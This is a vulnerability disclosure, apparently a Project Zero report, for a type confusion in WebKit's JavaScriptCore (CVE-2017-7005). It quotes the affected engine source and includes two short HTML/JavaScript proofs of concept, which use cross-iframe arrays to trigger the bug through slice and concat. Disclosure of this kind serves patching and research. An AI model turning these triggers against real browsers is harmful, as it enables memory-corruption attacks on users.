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WebKit JSC JSGlobalObject::haveABadTime Type Confusion

Posted on 16 June 2017

WebKit: JSC: JSGlobalObject::haveABadTime causes type confusions

CVE-2017-7005

After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions.

void JSGlobalObject::haveABadTime(VM& vm)
{
...
for (unsigned i = 0; i < NumberOfIndexingShapes; ++i)
m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage)); <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage
...
while (!foundObjects.isEmpty()) {
JSObject* object = asObject(foundObjects.last());
foundObjects.removeLast();
ASSERT(hasBrokenIndexing(object));
object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array
}
}

1. fastSlice:
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
VM& vm = exec.vm();
if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
return nullptr;

Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count);
if (!resultArray)
return nullptr;

auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
else
memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
resultButterfly.setPublicLength(count);

return resultArray;
}
default:
return nullptr;
}
}

If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320);

let c = Array.prototype.slice.call(a);
alert(c);

</script>
</body>
</html>

2. arrayProtoPrivateFuncConcatMemcpy
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec)
{
...
JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
...
IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType);
...
Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type);
JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));

if (type == ArrayWithDouble) {
double* buffer = result->butterfly()->contiguousDouble().data();
memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
} else if (type != ArrayWithUndecided) {
WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data();
memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize);
if (secondType != ArrayWithUndecided)
memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize);
else {
for (unsigned i = secondArraySize; i--;)
buffer[i + firstArraySize].clear();
}
}

result->butterfly()->setPublicLength(firstArraySize + secondArraySize);
return JSValue::encode(result);
}

If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

PoC:
<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);

let c = Array.prototype.concat.call(a, b);

alert(c);

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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